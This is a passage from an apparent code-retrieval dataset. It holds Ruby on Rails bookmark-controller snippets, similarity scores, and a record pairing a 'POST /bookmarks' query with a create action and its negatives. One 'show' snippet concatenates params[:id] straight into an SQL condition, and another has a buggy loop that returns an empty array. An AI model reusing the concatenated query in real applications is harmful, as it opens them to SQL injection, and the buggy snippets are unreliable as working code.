"def show_bookmarks(conditions, title, feed_uri, user=nil, tag=nil)\n errors = []\n\n # Make sure the specified limit is valid. If no limit is specified,\n # use the default.\n if params[:limit] && params[:limit].to_i < 0\n errors << \"limit must be >=0\"\n end\n params[:limit] ||= @@default_limit\n params.delete(:limit) if params[:limit] == 0 # 0 means \"no limit\"\n\n # If a date filter was specified, make sure it's a valid date.\n if params[:date]\n begin \n params[:date] = Date.parse(params[:date])\n rescue ArgumentError\n errors << \"incorrect date format\"\n end\n end\n\n if errors.empty?\n conditions ||= [\"\"]\n \n # Add a restriction by date if neccessary.\n if params[:date]\n conditions[0] << \" AND \" unless conditions[0].empty?\n conditions[0] << \"timestamp >= ? AND timestamp < ?\"\n conditions << params[:date]\n conditions << params[:date] + 1\n end\n\n # Restrict the list to bookmarks visible to the authenticated user.\n Bookmark.only_visible_to!(conditions, @authenticated_user)\n\n # Find a set of bookmarks that matches the given conditions.\n bookmarks = Bookmark.custom_find(conditions, tag, params[:limit])\n \n # Render the bookmarks however the client requested.\n render_bookmarks(bookmarks, title, feed_uri, user)\n else\n render :text => errors.join(\"\\n\"), :status => \"400 Bad Request\"\n end\n end",
"def user_index\n @user = params[:user]\n @results = []\n \n u = User.where(name: params[:user]).first\n \n if u == nil\n redirect_to :root\n else \n u.bookmarks.each do |b|\n user_url = \"/\" + u.name\n entry = {id: b.id, url: b.url, title: b.title, user: b.user, name: u.name, user_url: user_url}\n @results.push(entry)\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n# req = ActiveSupport::JSON.decode(request.body)\n# @bookmark = Bookmark.new(req)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n if session[:user_id]\n @bookmark = Bookmark.first(:conditions => \"id = \" + params[:id].to_s + \" AND user_id = \" + session[:user_id].to_s)\n if @bookmark\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmark }\n end\n else\n redirect_to \"/bookmarks/\"\n end\n else\n redirect_to \"/login\"\n end\n end",
"def json_index_bookmarks_categories_by_item_id\n\n respond_to do |format|\n\n if BookmarksCategory.exists?(item_id:params[:item_id])\n\n @bookmarks_categories = BookmarksCategory.find_all_by_item_id(params[:item_id])\n\n format.json {render json: @bookmarks_categories.as_json() }\n\n else\n format.json { render json: 'not bookmark category for this item ', status: :not_found }\n end\n\n end\n end",
"def show\n @bookmarklet = Bookmarklet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmarklet }\n end\n end",
"def print_my_recent_bookmarks(username, password)\n # Make the HTTPS request.\n response = open('https://api.del.icio.us/v1/posts/recent',\n :http_basic_authentication => [username, password])\n\n # Read the response entity-body as an XML document.\n xml = response.read\n\n # Turn the document into a data structure.\n document = REXML::Document.new(xml)\n\n # For each bookmark...\n REXML::XPath.each(document, \"/posts/post\") do |e|\n # Print the bookmark's description and URI\n puts \"#{e.attributes['description']}: #{e.attributes['href']}\"\n end\nend",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :index, status: :created, location: @bookmark }\n else\n format.html { render :index }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_bookmark bookmark_index\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if bookmark_index == ''\n raise 'bookmark index not specified'\n end\n \n \n str_uri = $product_uri + '/pdf/' + @filename + '/bookmarks/' + bookmark_index.to_s\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Bookmark']\n \n \n rescue Exception=>e\n print e\n end\n end",
"def json_index_bookmarks_categories_by_item_id\n\n respond_to do |format|\n\n if BookmarksCategory.exists?(item_id:params[:item_id])\n\n @bookmarks_categories = BookmarksCategory.find_all_by_item_id(params[:item_id])\n\n format.json {render json: @bookmarks_categories.as_json() }\n\n else\n #format.json { render json: 'not bookmark category for this item ', status: :no_content }\n format.json { render json:'[]'}\n end\n\n end\n end",
"def destroy\n @bookmarks =\n if params[:bookmarks]\n permit_bookmarks[:bookmarks]\n else\n [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]\n end\n\n success = @bookmarks.all? do |bookmark|\n bookmark = current_or_guest_user.bookmarks.find_by(bookmark)\n bookmark && bookmark.delete && bookmark.destroyed?\n end\n\n if success\n if request.xhr?\n render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } })\n else\n redirect_back fallback_location: bookmarks_path, notice: I18n.t('blacklight.bookmarks.remove.success')\n end\n elsif request.xhr?\n head :internal_server_error # ajaxy request needs no redirect and should not have flash set\n else\n redirect_back fallback_location: bookmarks_path, flash: { error: I18n.t('blacklight.bookmarks.remove.failure') }\n end\n end",
"def show\n set_group\n\n # For groups timeline\n @bookmark_plugins = PLUGIN_CONFIG['bookmark'] \n @bookmarks = Bookmark.eager_load(:tags, :user, :url)\n .eager_load(group: :memberships)\n .where(\"bookmarks.group_id IS NOT NULL\")\n .where(\"bookmarks.group_id = ?\", params[:id])\n .order('bookmarks.updated_at DESC')\n end",
"def index\n @results = []\n \n Bookmark.all.each do |b|\n user_url = \"/\" + b.user.name\n entry = {id: b.id, url: b.url, title: b.title, user: b.user, name: b.user.name, user_url: user_url }\n @results.push(entry)\n end\n end",
"def bookmarks\n xpath './bookmark'\n end",
"def create\n @bookmark = @tag.bookmarks.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to path_for_redirect, notice: \"Bookmark, #@bookmark created.\" }\n\n format.json { render json: @bookmark, status: :created }\n else\n format.html { render :new }\n\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @books = Book.all\n render json: @books\n end",
"def index\n @marks = Mark.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @marks }\n end\n end",
"def bookmarklet\n # @bookmark = Bookmark.new(:tags => [Tag.new])\n @bookmark = Bookmark.where(:url => params[:address], :user_id => session[:user_id]).first_or_initialize(:tags => [Tag.new])\n respond_to do |format|\n format.html # bookmarklet.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def get_all_bookmarks\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n \n total_bookmarks = self.get_bookmarks_count\n \n all_bookmarks = Array.new\n \n index = 1\n while index <= total_bookmarks\n \n all_annotations.push(self.get_bookmark(index))\n \n index+=1\n end\n \n return all_bookmarks\n \n \n rescue Exception=>e\n print e\n end\n end",
"def show\n @end_user = EndUser.find(params[:id])\n @post = @end_user.posts.all\n @bkm = @end_user.bookmarks.all\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def update\n if @bookmark.update(bookmark_params)\n render json: { bookmark: @bookmark }, status: :ok\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def index\n @token = form_authenticity_token\n @posts = Post.where(category: 1).reverse\n \n # @latest_post = []\n \n # (0..4).each do |i|\n # @latest_post[i] = @posts[i]\n # end\n \n @rs = Post.all\n @bm = Bookmark.where(user_id: current_user.id)\n @bookmarks = []\n @rs.each do |r|\n @bm.each do |b|\n if r.id == b.post_id\n @bookmarks.push(r)\n end\n end\n end\n end",
"def show\n @notes = @bookmark.notes\n end",
"def index\n\t\trender json: current_user.noteBooks.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n # render json: NoteBook.all.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n\tend",
"def new\n @bookmark = Bookmark.new\n @users = User.find(:all)\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def index\n bookmarks_loader(Time.now, current_user.id) \n bookmark = @bookmarks.first\n if bookmark\n session[:first_link_time] = bookmark.updated_at \n end \n bookmark = @bookmarks.last\n if bookmark\n session[:last_link_time] = bookmark.updated_at\n end \n end",
"def index\n @nagayoshi_bookmark_logs = NagayoshiBookmarkLog.all\n end"
] |
[
"0.79481",
"0.78161955",
"0.77625155",
"0.76365644",
"0.7631135",
"0.74768716",
"0.74189895",
"0.735247",
"0.7311321",
"0.71859217",
"0.7151939",
"0.714009",
"0.7111507",
"0.710681",
"0.7087552",
"0.7087552",
"0.701677",
"0.7002643",
"0.6980754",
"0.68785614",
"0.68566144",
"0.68403983",
"0.6834872",
"0.6831768",
"0.68033296",
"0.67927045",
"0.6771063",
"0.67504245",
"0.6689089",
"0.66807526",
"0.66807526",
"0.6676113",
"0.6629471",
"0.6620817",
"0.65886974",
"0.6532178",
"0.6532178",
"0.6529611",
"0.64924985",
"0.646549",
"0.6449813",
"0.6433644",
"0.6428949",
"0.6427963",
"0.6421011",
"0.64185774",
"0.6417765",
"0.6417765",
"0.6344231",
"0.6296057",
"0.62633204",
"0.62612784",
"0.6248299",
"0.6242689",
"0.6241707",
"0.6228182",
"0.6153739",
"0.6153739",
"0.6153739",
"0.614902",
"0.6143457",
"0.61424667",
"0.6137787",
"0.61273867",
"0.6062893",
"0.604966",
"0.60160244",
"0.60140425",
"0.6013223",
"0.60121745",
"0.6008407",
"0.60065854",
"0.6002558",
"0.5994744",
"0.59650546",
"0.59486836",
"0.593683",
"0.591441",
"0.5909595",
"0.5901733",
"0.58727753",
"0.5852398",
"0.5851854",
"0.58446115",
"0.5839502",
"0.5782725",
"0.57638586",
"0.5753357",
"0.57514995",
"0.574184",
"0.5738196",
"0.57184863",
"0.5717797",
"0.57171357",
"0.5715162",
"0.57124585",
"0.56971496",
"0.56958556",
"0.5695507",
"0.5693361"
] |
0.70959634
|
14
|
POST /bookmarks POST /bookmarks.json
|
def create
@bookmark = Bookmark.new(bookmark_params)
@bookmark.user_id = current_user.id
respond_to do |format|
if @bookmark.save
format.html { redirect_to @redirect, notice: 'Bookmark was successfully created.' }
format.json { render :show, status: :created, location: bookmarks_path }
else
format.html { redirect_to @redirect, alert: "Bookmark could not be saved" }
format.json { render json: @bookmark.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n# req = ActiveSupport::JSON.decode(request.body)\n# @bookmark = Bookmark.new(req)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmarks = if params[:bookmarks]\n permit_bookmarks[:bookmarks]\n else\n [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]\n end\n\n current_or_guest_user.save! unless current_or_guest_user.persisted?\n\n bookmarks_to_add = @bookmarks.reject { |bookmark| current_or_guest_user.bookmarks.where(bookmark).exists? }\n success = ActiveRecord::Base.transaction do\n current_or_guest_user.bookmarks.create!(bookmarks_to_add)\n rescue ActiveRecord::RecordInvalid\n false\n end\n\n if request.xhr?\n success ? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) : render(json: current_or_guest_user.errors.full_messages, status: \"500\")\n else\n if @bookmarks.any? && success\n flash[:notice] = I18n.t('blacklight.bookmarks.add.success', count: @bookmarks.length)\n elsif @bookmarks.any?\n flash[:error] = I18n.t('blacklight.bookmarks.add.failure', count: @bookmarks.length)\n end\n\n redirect_back fallback_location: bookmarks_path\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n if @bookmark.save\n render json: { bookmark: @bookmark }, status: :created\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def create\n @bookmark = @tag.bookmarks.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to path_for_redirect, notice: \"Bookmark, #@bookmark created.\" }\n\n format.json { render json: @bookmark, status: :created }\n else\n format.html { render :new }\n\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.save\n @bookmarks = Bookmark.all\n\n # respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n # format.json { render :show, status: :created, location: @bookmark }\n # else\n # format.html { render :new }\n # format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :index, status: :created, location: @bookmark }\n else\n format.html { render :index }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n \n respond_to do |format|\n if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark }\n else\n # format.html { render :new }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.create(bookmark_params)\n end",
"def create\n @bookmark = current_user.bookmarks.new(params[:bookmark])\n\n respond_to do |format|\n if @bookmark.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.bookmark'))\n @bookmark.create_tag_index\n @bookmark.manifestation.index!\n if params[:mode] == 'tag_edit'\n format.html { redirect_to(@bookmark.manifestation) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { redirect_to(@bookmark) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n end\n else\n @user = current_user\n format.html { render :action => \"new\" }\n format.json { render :json => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n\n session[:params][:bookmark] = nil if session[:params]\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @title = PageTitleGetter.new(params[:bookmark][:url]).title\n @bookmark.name = @title\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to topic_bookmarks_path, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { render :new }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tbookmark_params = {\n\t\t\t:owner => Prover.find(params[:owner]),\n\t\t\t:post => Post.find(params[:post])\n\t\t}\n\n\t\t@bookmark = Bookmark.new(bookmark_params)\n\n\t\trespond_to do |format|\n\t\t\tif @bookmark.save\n\t\t\t\tformat.html { render :json => @bookmark }\n\t\t\t\tformat.json { render :show, status: :created, location: @bookmark }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :notes, :tag_list)\n end",
"def bookmark_params\n params.permit(:bookmark, :post_id)\n end",
"def create\n #@bookmark = Bookmark.new(params[:bookmark])\n #\n #respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n # format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n # else\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n # end\n #end\n\n #@bookmark = current_user.bookmarks.build(params[:bookmark])\n \n @user = @current_user\n @bookmark = @current_user.bookmarks.build(params[:bookmark])\n @user.bookmarks << @bookmark\n \n #@bookmarkuser = @current_user.bookmarkusers.build(params[:bookmark])\n #\n \n \n \n #@bookmarkuser.save\n \n if @bookmark.save\n flash[:success] = \"Bookmark created!\"\n redirect_to root_path, :flash => { :success => \"Bookmark created!\" }\n else\n render 'pages/home'\n end\n\n end",
"def bookmark_params\n\t\tparams[:bookmarks]\n\tend",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, :tag_list)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :tag_list)\n end",
"def index\n @bookmarks = Bookmark.all\n render json: { bookmarks: @bookmarks }, status: :ok\n end",
"def savebookmark\n\t\t\t\turl_str = save_bookmark_params[:url]\n\t\t\t\tannotations = get_annotations(url_str)\n\t\t\t\turl = Url.find_by_url(url_str)\n\t\t\t if url.nil?\n\t\t\t url = Url.new({:url => save_bookmark_params[:url], :icon => annotations[:icon]})\n\t\t\t if !url.save\n\t\t\t render :status => 404\n\t\t\t end\n\t\t\t else\n\t\t\t Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n\t\t\t end\t\t \n\t\t\t @bookmark = Bookmark.new({:title => save_bookmark_params[:title], :description => save_bookmark_params[:description], :url => url, :user_id => doorkeeper_token.resource_owner_id})\t\t\t \n\n\t\t\t tags = save_bookmark_params[:tags].split(\",\")\n\t\t\t tags.each do |tag|\n\t\t\t if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n\t\t\t @tag = Tag.new\n\t\t\t @tag.tagname = tag.strip.gsub(' ','-').downcase\n\t\t\t @bookmark.tags << @tag\n\t\t\t else\n\t\t\t @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n\t\t\t end\n\t\t\t end unless tags.nil?\t\t\t \n\t\t\t \n\t\t\t if @bookmark.save\n\t\t\t \trespond_to do |format|\n \t\t\t\t\t\tformat.json{ render :json => strip_bookmark_to_json(@bookmark).to_json }\n\t\t\t\t\tend\t\t\t \n\t\t\t else\n\t\t\t format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\t end\t\t\t \n\t\t\tend",
"def create\n if session[:user_id]\n user = User.find(session[:user_id])\n params[:bookmark][:user] = user\n @bookmark = Bookmark.new(params[:bookmark])\n if params[:tag]\n @tags = params[:tag]\n @tags.each do |tag|\n objTag = Tag.find(tag)\n @bookmark.tags << objTag\n end\n end\n if @bookmark.url.include?(\"http://\")\n else\n @bookmark.url = \"http://\" + @bookmark.url\n end\n \n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to \"/login\"\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, category_id: [], kind_id: [])\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :receipe_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:name, :url, :tag_id, :category_id)\n end",
"def bookmark_params\n params.require(:bookmarking).permit(:post_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, :desc, :group_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit([:title, :url, :category, :is_favorite, :comment])\n end",
"def bookmarks\n\t\toptions = { list: true }\n\t\tresponse = self.server.run_with_json_template( :bookmarks, **options )\n\t\treturn response.map {|bk| Hglib::Repo::Bookmark.new(self, **bk) }\n\tend",
"def bookmark_params\n params.require(:bookmark).permit([:title, :url, :category, :comment, :is_favorite])\n end",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :private, :desc, :is_archived, :tag_list)\n end",
"def bookmark_param\n params.require(:bookmark).permit(:user_id, :review_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :description, :user, :url, :tags, :favourite)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:name, :url, :topic_id)\n end",
"def create\n @solicitation_bookmark = SolicitationBookmark.new(solicitation_bookmark_params)\n\n respond_to do |format|\n if @solicitation_bookmark.save\n format.html { redirect_to @solicitation_bookmark, notice: 'Solicitation bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @solicitation_bookmark }\n else\n format.html { render :new }\n format.json { render json: @solicitation_bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: { bookmark: @bookmark }, status: :ok\n end",
"def bookmarks\n @user = User.find(params[:id])\n\n render :status => 404 and return if @user.nil?\n\n # Grab Bookmarks and Render Them Out\n @bookmarks = @user.current_bookmarks\n render_collection_json Serialize::BookmarksSerializer.as_json_with_current_entries(@bookmarks, @user)\n end",
"def create\n @bookmark = Bookmark.new\n @bookmark.title= params[:bookmark][:title]\n @bookmark.url= params[:bookmark][:url]\n @bookmark.category_ids= params[:bookmark][:category_id]\n @bookmark.kind_ids= params[:bookmark][:kind_id]\n @bookmark.save\n\n params[:bookmark][:category_ids].each do |cID| \n if cID != \"\"\n @bookmarkcategory = BookmarkCategory.new\n @bookmarkcategory.category_id= cID\n @bookmarkcategory.bookmark_id = @bookmark.id\n @bookmarkcategory.save\n end \n end \n\n params[:bookmark][:kind_ids].each do |kID| \n if kID != \"\"\n @bookmarkcategory = BookmarkKind.new\n @bookmarkcategory.kind_id= kID\n @bookmarkcategory.bookmark_id = @bookmark.id\n @bookmarkcategory.save\n end \n end \n \n respond_to do |format|\n if @bookmark.save\n format.js {redirect_to bookmarks_path, notice: \"Bookmark was successfully created.\" }\n format.html { redirect_to @bookmark, notice: \"Bookmark was successfully created.\" }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark_tag = BookmarkTag.new(params[:bookmark_tag])\n\n respond_to do |format|\n if @bookmark_tag.save\n format.html { redirect_to @bookmark_tag, notice: 'Bookmark tag was successfully created.' }\n format.json { render json: @bookmark_tag, status: :created, location: @bookmark_tag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmarks_category = BookmarksCategory.new(params[:bookmarks_category])\n\n respond_to do |format|\n if @bookmarks_category.save\n format.html { redirect_to @bookmarks_category, notice: 'Bookmarks category was successfully created.' }\n format.json { render json: @bookmarks_category, status: :created, location: @bookmarks_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmarks_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmarks_category = BookmarksCategory.new(params[:bookmarks_category])\n\n respond_to do |format|\n if @bookmarks_category.save\n format.html { redirect_to @bookmarks_category, notice: 'Bookmarks category was successfully created.' }\n format.json { render json: @bookmarks_category, status: :created, location: @bookmarks_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmarks_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmarklet = Bookmarklet.new(params[:bookmarklet])\n @bookmarklet.author = current_user\n\n respond_to do |format|\n if @bookmarklet.save\n flash[:notice] = 'Bookmarklet was successfully created.'\n format.html { redirect_to(@bookmarklet) }\n format.xml { render :xml => @bookmarklet, :status => :created, :location => @bookmarklet }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmarklet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit([:url, :title, :comment, :category, :checkbox])\nend",
"def bookmark_params\n params.permit(:user_id, :raffle_id)\n end",
"def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bookmark }\n end\n end",
"def create\n incomplete = true\n error = false\n if ((params[:url] != nil) &&( (params[:description] != nil ) || (params[:bookmark][\"title\"] != nil )))\n incomplete = false\n url = nil\n if params[:url][:url]\n url = params[:url][:url]\n else\n url = params[:url]\n end\n if not ((url =~ /^http:\\/\\//) || (url =~ /^https:\\/\\//))\n url = \"http://\" + url\n end\n link = Link.find_by_url(url) || Link.new(:url => url)\n link.save\n if link.users.include?(current_user)\n flash[:message] = \"Already in\"\n else\n datetime = nil\n datetime = params[:dt] if params[:dt]\n description = params['description'] || params[:bookmark]['title']\n\n new_bookmark = Bookmark.new(:title => description, :link_id => link.id, :user_id => current_user.id, :bookmarked_at => (datetime || Time.now))\n new_bookmark.private = 1 if ((params[:shared] && (params[:shared] == \"no\")))\n new_bookmark.private = params[:bookmark][\"private\"] if params[:bookmark][\"private\"]\n new_bookmark.tag_list = params['tags'] || params[:bookmark]['tags']\n current_user.bookmarks_update_at = Time.now\n if new_bookmark.save\n current_user.save\n logger.info(\"bookmark for #{url} added\")\n else\n error = true\n logger.warn(\"Error : could not save the new bookmark\")\n end\n end\n end\n respond_to do |format|\n format.xml do\n if incomplete || error\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"something went wrong\\\" />\"\n else\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"done\\\" />\"\n end\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.owner = current_user\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark.poi }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { redirect_to root_path, alert: t('error', scope: @t_scope) }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @bookmark.update(bookmark_params)\n render json: { bookmark: @bookmark }, status: :ok\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def index\n if logged_in?\n @bookmarks = @current_user.bookmarks.pluck(:story_id)\n respond_to do |format|\n format.json { render json: {ids: @bookmarks} }\n format.html { redirect_to bookmarks_url }\n end\n else\n redirect_to bookmarks_url\n end\n end",
"def create\n @public_bookmark = PublicBookmark.new(public_bookmark_params)\n\n respond_to do |format|\n if @public_bookmark.save\n format.html { redirect_to @public_bookmark, notice: 'Public bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @public_bookmark }\n else\n format.html { render :new }\n format.json { render json: @public_bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmarks_formatter\n\t\t\t\tformatted_bookmarks = []\n\t\t\t\[email protected] do |bookmark|\n\t\t\t\t\tformatted_bookmarks << strip_bookmark_to_json(bookmark)\n\t\t\t\tend\n\t\t\t\trespond_with formatted_bookmarks\n\t\t\tend",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n tags = bookmark_params[:tags].split(\",\")\n tags.each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookmark }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bookmark = Bookmark.new\n @bookmark.user_id= session[:user_id]\n @bookmark.origin='database-created'\n @bookmark.url='http://'\n @bookmark.folder=[\" \"]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bookmark }\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_param)\n review = Review.find_by(id: params[:bookmark][:review_id])\n if @bookmark.save\n redirect_to :back\n else\n render 'new'\n end\n end",
"def create\n bookmark = Bookmark.find_or_create_by_URL(params[:bookmark][:URL])\n\n @user_bookmark = UserBookmark.new(:bookmark_id => bookmark.id, :user_id => current_user.id)\n\n respond_to do |format|\n if @user_bookmark.save\n format.html { redirect_to(bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @user_bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n @bookmark = Bookmark.new(params[:bookmark])\n @bookmark.user_id= session[:user_id]\n# remove backslashes to reconstruct array\n# @bookmark.folder = eval(@bookmark.folder)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = current_user.becomes(LearnUser).bookmarks.new(params[:bookmark])\n\n respond_to do |format|\n if @bookmark.save\n flash[:notice] = 'Bookmark was successfully created.'\n format.html { redirect_to(@bookmark) }\n format.js {redirect_from_facebox(session[:return_to]) }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else \n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity } \n format.js { }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:comment, :movie_id)\n end",
"def create\n \n #cross-site scripting fix\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \n u = User.find(params[:id])\n b = Bookmark.where(url: params[:url], user_id: u).first\n c = Category.find(params[:category])\n \n #ensure user does not submit a link more than once\n if b == nil\n Bookmark.create(url: params[:url], title: params[:title], user: u, category: c); \n end\n\n render :nothing => true\n end",
